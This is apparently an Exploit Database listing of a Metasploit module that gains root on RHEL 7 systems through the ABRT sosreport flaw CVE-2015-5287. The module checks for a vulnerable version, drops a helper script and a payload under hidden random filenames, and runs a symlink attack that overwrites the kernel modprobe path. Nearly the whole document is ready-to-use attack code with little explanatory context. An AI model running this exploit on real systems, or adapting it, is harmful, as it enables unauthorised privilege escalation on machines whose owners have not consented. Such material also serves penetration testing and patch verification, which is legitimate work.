ABRT – sosreport Privilege Escalation (Metasploit)

• Exploit Database
• 17 阅读

• 作者： Metasploit
  日期： 2019-09-25
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/47421/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking
  
  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Kernel
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'ABRT sosreport Privilege Escalation',
  'Description'=> %q{
  This module attempts to gain root privileges on RHEL systems with
  a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured
  as the crash handler.
  
  `sosreport` uses an insecure temporary directory, allowing local users
  to write to arbitrary files (CVE-2015-5287). This module uses a symlink
  attack on `/var/tmp/abrt/cc-*$pid/` to overwrite the `modprobe` path
  in `/proc/sys/kernel/modprobe`, resulting in root privileges.
  
  Waiting for `sosreport` could take a few minutes.
  
  This module has been tested successfully on:
  
  abrt 2.1.11-12.el7 on RHEL 7.0 x86_64; and
  abrt 2.1.11-19.el7 on RHEL 7.1 x86_64.
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'rebel', # Discovery and sosreport-rhel7.py exploit
  'bcoles' # Metasploit
  ],
  'DisclosureDate' => '2015-11-23',
  'Platform' => ['linux'],
  'Arch' =>
  [
  ARCH_X86,
  ARCH_X64,
  ARCH_ARMLE,
  ARCH_AARCH64,
  ARCH_PPC,
  ARCH_MIPSLE,
  ARCH_MIPSBE
  ],
  'SessionTypes' => ['shell', 'meterpreter'],
  'Targets'=> [[ 'Auto', {} ]],
  'References' =>
  [
  ['BID', '78137'],
  ['CVE', '2015-5287'],
  ['EDB', '38832'],
  ['URL', 'https://www.openwall.com/lists/oss-security/2015/12/01/1'],
  ['URL', 'https://access.redhat.com/errata/RHSA-2015:2505'],
  ['URL', 'https://access.redhat.com/security/cve/CVE-2015-5287'],
  ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1266837']
  ]
  ))
  register_options [
  OptInt.new('TIMEOUT', [true, 'Timeout for sosreport (seconds)', '600'])
  ]
  register_advanced_options [
  OptBool.new('ForceExploit',[false, 'Override check result', false]),
  OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
  ]
  end
  
  def base_dir
  datastore['WritableDir']
  end
  
  def timeout
  datastore['TIMEOUT']
  end
  
  def check
  kernel_core_pattern = cmd_exec 'grep abrt-hook-ccpp /proc/sys/kernel/core_pattern'
  unless kernel_core_pattern.include? 'abrt-hook-ccpp'
  vprint_error 'System is not configured to use ABRT for crash reporting'
  return CheckCode::Safe
  end
  vprint_good 'System is configured to use ABRT for crash reporting'
  
  if cmd_exec('systemctl status abrt-ccpp | grep Active').include? 'inactive'
  vprint_error 'abrt-ccp service not running'
  return CheckCode::Safe
  end
  vprint_good 'abrt-ccpp service is running'
  
  # Patched in 2.1.11-35.el7
  pkg_info = cmd_exec('yum list installed abrt | grep abrt').to_s
  abrt_version = pkg_info[/^abrt.*$/].to_s.split(/\s+/)[1]
  if abrt_version.blank?
  vprint_status 'Could not retrieve ABRT package version'
  return CheckCode::Safe
  end
  unless Gem::Version.new(abrt_version) < Gem::Version.new('2.1.11-35.el7')
  vprint_status "ABRT package version #{abrt_version} is not vulnerable"
  return CheckCode::Safe
  end
  vprint_good "ABRT package version #{abrt_version} is vulnerable"
  
  unless command_exists? 'python'
  vprint_error 'python is not installed'
  return CheckCode::Safe
  end
  vprint_good 'python is installed'
  
  CheckCode::Appears
  end
  
  def upload_and_chmodx(path, data)
  print_status "Writing '#{path}' (#{data.size} bytes) ..."
  rm_f path
  write_file path, data
  chmod path
  register_file_for_cleanup path
  end
  
  def exploit
  unless check == CheckCode::Appears
  unless datastore['ForceExploit']
  fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
  end
  print_warning 'Target does not appear to be vulnerable'
  end
  
  if is_root?
  unless datastore['ForceExploit']
  fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
  end
  end
  
  unless writable? base_dir
  fail_with Failure::BadConfig, "#{base_dir} is not writable"
  end
  
  exe_data = ::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2015-5287', 'sosreport-rhel7.py')
  exe_name = ".#{rand_text_alphanumeric 5..10}"
  exe_path = "#{base_dir}/#{exe_name}"
  upload_and_chmodx exe_path, exe_data
  
  payload_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"
  upload_and_chmodx payload_path, generate_payload_exe
  
  register_file_for_cleanup '/tmp/hax.sh'
  
  print_status "Launching exploit - This might take a few minutes (Timeout: #{timeout}s) ..."
  output = cmd_exec "echo \"#{payload_path}& exit\" | #{exe_path}", nil, timeout
  output.each_line { |line| vprint_status line.chomp }
  end
  end